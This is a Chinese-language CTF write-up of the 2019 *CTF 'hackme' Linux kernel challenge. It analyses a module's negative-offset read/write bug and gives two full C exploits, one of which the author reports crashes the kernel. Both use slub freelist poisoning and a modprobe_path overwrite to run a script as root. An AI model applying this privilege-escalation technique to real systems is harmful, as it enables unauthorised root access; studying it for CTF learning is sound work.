关于 kernel-RW Any Memory 的学习总结

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通过 2019STARCTF hackeme 这道题目的学习，了解到了在内核中内存具有任意地址读写的能力后，可以利用的手法。

前置知识

modprobe 是一个 Linux 程序，用于在 Linux 内核中添加或移除一个可加载内核模块，该程序的路径是内核全局变量，默认为 /sbin/modprobe，存在在内核符号 modprobe_path 下（此处内存有可写权限）。

当执行的文件类型为系统未知的类型时（也就是未知的文件魔术头），将通过 modprobe_path 来执行 modprobe 程序。需要注意的是，modprobe_path 中存储的路径并不会被判断是否正常，无论路径指向的是哪个文件，都会将其执行，因为系统仍然处于内核模式，所以是以 root 权限执行的目标文件，如果目标文件是我们编写的 shell 脚本，那么就相当于我们具有了 root 权限下的任意执行命令的能力。

因此如果有任意地址读写的能力，可以考虑覆盖 modprobe_path ，它比起调用commit_creds(prepare_kernel_cred(0)) 更方便。

题目是 2019STARCTF hackeme 链接：https://github.com/cc-sir/ctf-challenge/tree/master/2019%20STARCTF%20hackme

逆向分析

通过下面的 _kmalloc 函数，可以分析出来 v19 是 size

image-20230410201237881

而程序最开始有一个 copy_from_user 函数， copy 了 32 个字节的数据，正好是可以控制从 v17 开始到 v20 ，考虑到上面 v19 是个 size ，我们可以猜测这四个变量都是一个结构体中的成员变量

image-20230410201412269

通过这三行代码，可以猜测出来 v17 是一个 index ，其决定了申请出来堆块的地址放到 pool 数组的哪个位置（ pool 数组就是来存放申请的堆块地址的）

image-20230410203337467

这里将 v18 中的数据 copy 到了刚刚申请的堆块中，所以我们判断 v18 是 data_ptr

image-20230410211733810

程序中的 v20 ，刚开始看感觉很奇怪，具体啥作用也说不上来，因为 v4 已经是堆地址了，所以加上的 v20 我们姑且称之为 offset

image-20230410212250229

四个变量名字确定之后，开始分析程序

delete

image-20230410215435020

首先是 delete 部分（如上），发现这个 kfree() 很奇怪，因为 IDA 生成的伪代码看不到参数，溯源一下汇编发现 kfree 的参数其实就是 v14 （如下）

image-20230410215111627

add

这个 add 部分可以发现 v12[0] 存放的是申请的 chunk_addr ，v12[1] 存放的是 size ，而 v12 本身就是 pool[2*index] 数组的地址，因此 chunk_addr 和 size 都记录在了 pool 数组中。通过 copy_from_user 函数向堆块中写入数据。

image-20230410215619344

show

image-20230410222056453

如上图所示， v5[1] 是 idx 对应堆块的 size ，这里的 offset+size 只判断了是否小于 v5[1] ，但是忘记判断了 offset+size 要大于 0，所以这里的 offset 可以为负值，如果 offset 为负数的话，就导致了 offset+chunk_addr 拷贝的并不是当前指定的堆块中数据，可能是上一个堆块（低地址处）的数据，在这个 show 部分相当于任意地址读

edit

image-20230410222823697

和上面 show 部分的漏洞一样， offset 值可以为负，从而可以任意地址写。

利用思路

slub 分配器是 Linux 内核中的一种内存分配器,其分配原理和 fastbin 原理类似，不过这里分配的堆块没有堆块头，也就是不加 0x10 ，申请多少就是多少。

利用思路就是类似于 fastbin attack 的手法，数组索引向上（低地址）溢出，覆盖 fd 指针，从而实现任意地址申请和泄露。首先去泄露出内核基地址，然后加上 mod_tree 在内核中的偏移（ mod_tree 在内核中，而里面有模块的指针，所以通常我们用它来泄露出模块的基地址）得到 mod_tree 地址，将其申请出来，泄露出模块的基地址。有了模块的地址，我们就可以将 pool 数组申请出来写入 modprobe_path 指针（该指针在内核中），用 edit 功能实现任意地址写（我猜测无法直接将 fd 指针控制为 modprobe_path 申请出来然后写入数据的原因是这样会破坏原本内核中的堆结构，如果利用 pool 数组任意写的话，可以将之前的堆结构再恢复）

上面的过程和做 glibc 堆题的思想基本一致，具体过程就不再赘述。

但我一直不明白为什么我的脚本会导致内核崩溃，就是执行完篡改 modprobe_path 都没有崩溃，可以看到下图是改写成功的

image-20230417202505374

此时也没有崩溃，但是再返回到用户态调用函数或者再运行一次脚本，内核就会崩溃重启。

可能是我破坏了某些堆结构？可是我将之前全部破坏的指针又用任意地址写恢复了，emmm 因为是完全自己写的，所以可能是某个奇奇怪怪的地方搞坏了，不过最终思想是没问题的，因为确实是成功改掉了路径。

下面放一下我这个会崩溃的 EXP … 也算记录一下

EXP

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/ioctl.h>
#include <fcntl.h>
#include <pthread.h>
#include <string.h>

struct data_info
{
    size_t index;
    size_t *user_ptr;
    size_t size;
    size_t offset;
};

void add(int fd,size_t index,size_t *ptr,size_t size)
{
    struct data_info data;
    data.index=index;
    data.size=size;
    data.user_ptr=ptr;
    data.offset=0;
    ioctl(fd,0x30000,&data);
}

void edit(int fd,size_t index,size_t *ptr,size_t size,size_t offset)
{
    struct data_info data;
    data.index=index;
    data.size=size;
    data.user_ptr=ptr;
    data.offset=offset;
    ioctl(fd,0x30002,&data);
}

void delete(int fd,size_t index)
{
    struct data_info data;
    data.index=index;
    data.size=0;
    data.offset=0;
    data.user_ptr=NULL;
    ioctl(fd,0x30001,&data);
}

void show(int fd,size_t index,size_t *ptr,size_t size,size_t offset)
{
    struct data_info data;
    data.index=index;
    data.size=size;
    data.user_ptr=ptr;
    data.offset=offset;
    ioctl(fd,0x30003,&data);
}



void init()
{
    setvbuf(stdin,0,2,0);
	setvbuf(stdout,0,2,0);
	setvbuf(stderr,0,2,0);
}

int main()
{
    init();
    char *mem=malloc(0x1000);
    int fd=open("/dev/hackme",0);
    if(fd<0)
    {
        printf("open error!\n");
        exit(0);
    }
    add(fd,0,mem,0x100);
    show(fd,0,mem,0x200,-0x1e0);
    write(1,mem,16);
    size_t kernel_address = *((size_t *)mem);  
    size_t leak_heap = *((size_t *)(mem+0x20));
    printf("[*] leak kernel address %llx\n",kernel_address);
    printf("[*] leak heap address 0x%llx\n",leak_heap);

    size_t kernel_base=kernel_address-0x847240;
    printf("kernel base %llx\n",kernel_base);
    size_t mod_tree=kernel_base+0x811000+0x100;
    printf("mod tree %llx\n",mod_tree);
    add(fd,1,mem,0x100);
    delete(fd,0);

    //attack
    edit(fd,1,&mod_tree,0x200,-0x100);
    memset(mem,'A',0x100);
    add(fd,2,mem,0x100);
    add(fd,3,mem,0x100);
    show(fd,3,mem,0x110,-0x100);
    size_t hackme_base = *((size_t *)(mem+8))-0x2320;
    printf("hackme_base %llx\n",hackme_base); 
    size_t pool=hackme_base+0x2400+0xc0;
    printf("pool address %llx\n",pool);
    

    add(fd,4,mem,0x200);
    add(fd,5,mem,0x200);
    delete(fd,4);
    size_t modprobe_math=kernel_base+0x83f960;
    printf("modprobe_math %llx\n",modprobe_math);
    edit(fd,5,&pool,0x240,-0x200);
    add(fd,6,mem,0x200);
    int fake_size=0x200;
    *((size_t *)mem)=modprobe_math;
    *((size_t *)(mem+8))=fake_size;
    *((size_t *)(mem+0x10))=leak_heap+0x1b0;
    *((size_t *)(mem+0x18))=fake_size;
    *((size_t *)(mem+0x20))=leak_heap+0xe02bfb0;
    *((size_t *)(mem+0x28))=fake_size;


    add(fd,7,mem,0x200);
    char *str=malloc(0x100);
    size_t data1=leak_heap+0x3b0;
    size_t data2=leak_heap+0xe02c3b0;
    strncpy(str,"/home/pwn/copy.sh\0",18);

    printf("[*] leak heap address 0x%llx\n",leak_heap);
    edit(fd,0xc,str,18,0);
    edit(fd,0xd,&data1,8,0);
    edit(fd,0xe,&data2,8,0);

    system("echo -ne '#!/bin/sh\n/bin/cp /flag /home/pwn/flag\n/bin/chmod 777 /home/pwn/flag' > /home/pwn/copy.sh");
    system("chmod +x /home/pwn/copy.sh");
    system("echo -ne '\\xff\\xff\\xff\\xff' > /home/pwn/sir");
    system("chmod +x /home/pwn/sir");
 
    system("/home/pwn/sir");
    system("cat /home/pwn/flag");
}

下面是 P4nda 师傅的脚本，我和他的思路差不多

#include <stdio.h>
#include <pthread.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>

#define ALLOC 0x30000
#define DEL 0x30001
#define READ 0x30003
#define WRITE 0x30002

struct arg
{
	size_t idx;
	void *addr;
	long long len;
	long long offset;
};

void alloc(int fd,int idx,char *user,long long len){
	struct arg cmd;
	cmd.idx = idx;
	cmd.len = len;
	cmd.addr = user;
	ioctl(fd,ALLOC,&cmd);
}

void delete(int fd,int idx){
	struct arg cmd;
	cmd.idx = idx;
	ioctl(fd,DEL,&cmd);
}

void read_from_kernel(int fd,int idx,char *user,long long len,long long offset){
	struct arg cmd;
	cmd.idx = idx;
	cmd.len = len;
	cmd.addr = user;
	cmd.offset = offset;
	ioctl(fd,READ,&cmd);	
}
void write_to_kernel(int fd,int idx,char *user,long long len,long long offset){
	struct arg cmd;
	cmd.idx = idx;
	cmd.len = len;
	cmd.addr = user;
	cmd.offset = offset;
	ioctl(fd,WRITE,&cmd);	
}

void print_hex( char *buf,int size){
	int i;
	puts("======================================");
	printf("data :\n");
	for (i=0 ; i<(size/8);i++){
		if (i%2 == 0){
			printf("%d",i/2);
		}
		printf(" %16llx",*(size_t * )(buf + i*8));
		if (i%2 == 1){
			printf("\n");
		}		
	}
	puts("======================================");
}

int main(){
	int fd = open("/dev/hackme", 0);
	char *mem = malloc(0x1000);
	size_t heap_addr , kernel_addr,mod_addr;
	if (fd < 0){
		printf("[-] bad open /dev/hackme\n");
		exit(-1);
	}
	memset(mem,'A',0x100);
	alloc(fd,0,mem,0x100);
	alloc(fd,1,mem,0x100);
	alloc(fd,2,mem,0x100);
	alloc(fd,3,mem,0x100);
	alloc(fd,4,mem,0x100);

	
	delete(fd,1);
	delete(fd,3);

	
	read_from_kernel(fd,4,mem,0x100,-0x100);
	heap_addr = *((size_t  *)mem);
	printf("[+] heap addr : %16llx\n",heap_addr );
	read_from_kernel(fd,0,mem,0x200,-0x200);
	kernel_addr = *((size_t  *)(mem+0x28)) ;
	if ((kernel_addr & 0xfff) != 0xae0){
		printf("[-] maybe bad kernel leak : %16llx\n",kernel_addr);
		exit(-1);
	}
		
	kernel_addr -= 0x849ae0; //0x849ae0 - sysctl_table_root
	printf("[+] kernel addr : %16llx\n",kernel_addr );	
	
	memset(mem,'A',0x100);
	*((size_t *)mem) = (0x811000 + kernel_addr + 0x40); // mod_tree +0x40
	write_to_kernel(fd,4,mem,0x100,-0x100);
	
	alloc(fd,5,mem,0x100);
	alloc(fd,6,mem,0x100);

	read_from_kernel(fd,6,mem,0x40,-0x40);
	mod_addr =  *((size_t  *)(mem+0x18)) ;
	printf("[+] mod addr : %16llx\n",mod_addr );	
	
	delete(fd,2);
	delete(fd,5);

	*((size_t *)mem) = (0x2400 + mod_addr + 0xc0); // mod_tree +0x40
	write_to_kernel(fd,4,mem,0x100,-0x100);
	alloc(fd,7,mem,0x100);
	*((size_t *)(mem+0x8)) = 0x100; 
	*((size_t *)mem) = (0x83f960 + kernel_addr ); //ffffffff8183f960 D modprobe_path
	alloc(fd,8,mem,0x100); // pool

	strncpy(mem,"/home/pwn/copy.sh\0",18);
	write_to_kernel(fd,0xc,mem,18,0);

	system("echo -ne '#!/bin/sh\n/bin/cp /flag /home/pwn/flag\n/bin/chmod 777 /home/pwn/flag' > /home/pwn/copy.sh");
	system("chmod +x /home/pwn/copy.sh");
	system("echo -ne '\\xff\\xff\\xff\\xff' > /home/pwn/dummy");
	system("chmod +x /home/pwn/dummy");

	system("/home/pwn/dummy");
	system("cat flag");
}
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参考文章

(47条消息) linux kernal pwn STARCTF 2019 hackme（一） 劫持modprobe_path_yongbaoii的博客-CSDN博客

XCTF - *CTF 2019 - hack_me | kileak

(´∇｀) 天亮了~ 【KERNEL PWN】STARCTF 2019 hackme 解题思路 | p4nda’s blog

[原创]Linux Kernel Exploit 内核漏洞学习(4)-RW Any Memory-二进制漏洞-看雪论坛-安全社区|安全招聘|bbs.pediy.com (kanxue.com)

基于modprobe_path覆盖的Linux内核漏洞利用技术 - SecPulse.COM | 安全脉搏